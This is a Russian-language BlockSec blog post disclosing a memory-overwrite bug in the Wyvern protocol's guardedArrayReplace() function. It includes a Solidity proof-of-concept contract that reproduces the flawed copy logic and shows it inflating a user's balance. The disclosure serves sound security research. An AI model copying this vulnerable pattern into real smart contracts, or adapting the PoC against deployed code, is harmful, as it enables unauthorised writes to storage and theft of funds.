Back to Blog

Новая уязвимость перезаписи памяти обнаружена в протоколе Wyvern

Code Auditing
8 сентября 2022 г.
6 min read

Введение

Наша система обнаружения уязвимостей выявила уязвимость перезаписи памяти в последней реализации библиотеки Wyvern, которая относится к протоколу децентрализованной биржи Wyvern, использовавшемуся ранее OpenSea. Эта ошибка может привести к произвольной записи в storage.

Мы пытались связаться с проектом (например, по электронной почте и через социальные сети), но пока не получили ответа. Поскольку OpenSea перешла на протокол Seaport, мы считаем, что можно безопасно раскрыть подробную информацию общественности. Кроме того, нам хотелось бы поделиться этими находками, чтобы вовлечь сообщество, так как сама ошибка довольно хитрая, а её эксплуатация весьма интересна.

Описание

Уязвимый код можно найти в официальном репозитории кода с хешем коммита 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

Конкретно, эта ошибка находится в функции guardedArrayReplace() файла ArrayUtils.sol. Как видно из названия, эта функция используется для выборочного копирования одного динамического массива байтов (т.е. второго параметра с именем desired) в другой (т.е. первый параметр с именем array). Обратите внимание, что эта функция реализована для выполнения операции на уровне слов (т.е. 0x20 байт), поэтому логику кода можно разделить на два шага на основе результата вычисления деления.

Для части с частным (т.е. words = array.length / 0x20) логика кода со строки 42 по строку 49 будет копировать желаемый массив в целевой массив слово за словом. Этот шаг работает так, как ожидается, хотя оператор assert в строке 39 бесполезен из-за особенностей целочисленной арифметики.

После предыдущего шага, если деление дает остаток, это означает, что ещё остались некоторые байты, не скопированные корректно. Логика кода со строки 52 по строку 66 предназначена для обработки этих байтов. К сожалению, оператор if в строке 52 ошибочно использует частное (words, т.е. array.length / 0x20****) вместо остатка (array.length % 0x20) для проверки.

Серьёзность

Эта ошибка может привести к произвольной записи в storage. Предположим, что array.length точно делится на 0x20, операция копирования фактически выполняется в логике цикла. Однако в большинстве случаев функция попадёт в уязвимую логику и попытается скопировать слово, находящееся за пределами желаемого массива, в целевой массив, что неизбежно приводит к выходу за границы массива. Хуже того, неправильная логика может быть использована для перезаписи слова в конце целевого массива, что является неизвестной областью памяти, которая может быть использована для любых целей.

Как эксплуатировать эту ошибку?

Мы разработали PoC-контракт, иллюстрирующий потенциальный вектор атаки. PoC-контракт имеет две функции: первая, называемая test(), используется для выполнения атаки, а вторая — это просто уязвимая функция guardedArrayReplace().

Конкретно, в функции test() мы сначала определяем несколько байтов в памяти (a, b и mask) и массив (т.е. _rewards). Определённый здесь _rewards будет использоваться для расчёта вознаграждений пользователя. После вызова функции guardedArrayReplace() для копирования a в b с использованием mask, _rewards будет добавлен к балансу пользователя (т.е. balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Здесь мы используем Remix, чтобы продемонстрировать результат. Стоит отметить, что изначально мы не присваиваем никакого значения _rewards и balances. После эксплуатации баланс пользователя устанавливается в очень большое значение (как показано в красном прямоугольнике).

Заключение

Хотя и редко, такие уязвимости перезаписи памяти всё же могут существовать в смарт-контрактах. Разработчикам необходимо обращать внимание на логику кода, которая манипулирует памятью.

О BlockSec

BlockSec — это передовая компания в сфере безопасности блокчейна, основанная в 2021 году группой всемирно известных экспертов по безопасности. Компания стремится повышать безопасность и удобство использования для развивающегося мира Web3, чтобы способствовать его массовому внедрению. Для этого BlockSec предоставляет услуги аудита безопасности смарт-контрактов и EVM-совместимых блокчейнов, платформу Phalcon для безопасной разработки и упреждающего блокирования угроз, платформу MetaSleuth для отслеживания и расследования движения средств, а также расширение MetaDock для создателей проектов web3, позволяющее эффективно работать в криптомире.

На сегодняшний день компания обслужила более 300 уважаемых клиентов, таких как MetaMask, Uniswap Foundation, Compound, Forta и PancakeSwap, и привлекла десятки миллионов долларов США в рамках двух раундов финансирования от выдающихся инвесторов, включая Matrix Partners, Vitalbridge Capital и Fenbushi Capital.

Официальный сайт: https://blocksec.com/

Официальный аккаунт в Twitter: https://twitter.com/BlockSecTeam

Sign up for the latest updates
Потеряно около $542 тыс.: эксплуатация уязвимости MakerDaoBot | Еженедельный обзор BlockSec
Security Insights

Потеряно около $542 тыс.: эксплуатация уязвимости MakerDaoBot | Еженедельный обзор BlockSec

В Ethereum за 05–11.10.2026 произошёл 1 инцидент; ущерб — около $542 тыс. Атакующий передал вредоносный адаптер функции MakerDaoBot без контроля доступа. Получив права на балансы MakerDAO, адаптер закрыл 4 аукциона ETH-A, конвертировал 200 ETH-A в WETH; атакующий вывел 200 ETH.

~418 млн $ потеряно: эксплойты Bitget и NEAR Intents | BlockSec Weekly
Security Insights

~418 млн $ потеряно: эксплойты Bitget и NEAR Intents | BlockSec Weekly

Этот отчёт за две недели фиксирует 8 инцидентов с 21 сентября по 4 октября 2026 г., убытки ≈$418,4М в Ethereum, BNB Chain, Solana, Bitcoin, TRON, XRP Ledger, Zcash, Avalanche, NEAR. Разбор: уязвимость продукта безопасности Bitget ($387,5М) и ошибка NEAR Intents ($3,87М).

Взлом Bitget на $387,5 млн вне блокчейна: не только ключи и контракты
Security Insights

Взлом Bitget на $387,5 млн вне блокчейна: не только ключи и контракты

24.09.2026 хакеры взломали сторонний продукт, похитили учётные данные и подделали выводы. Похищено ~$387,5 млн со счетов Bitget (Ethereum, EVM, XRP Ledger, Zcash, TRON); ключи целы. Обзор инцидента, конвертации активов, мер защиты и blockchain-пентеста.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit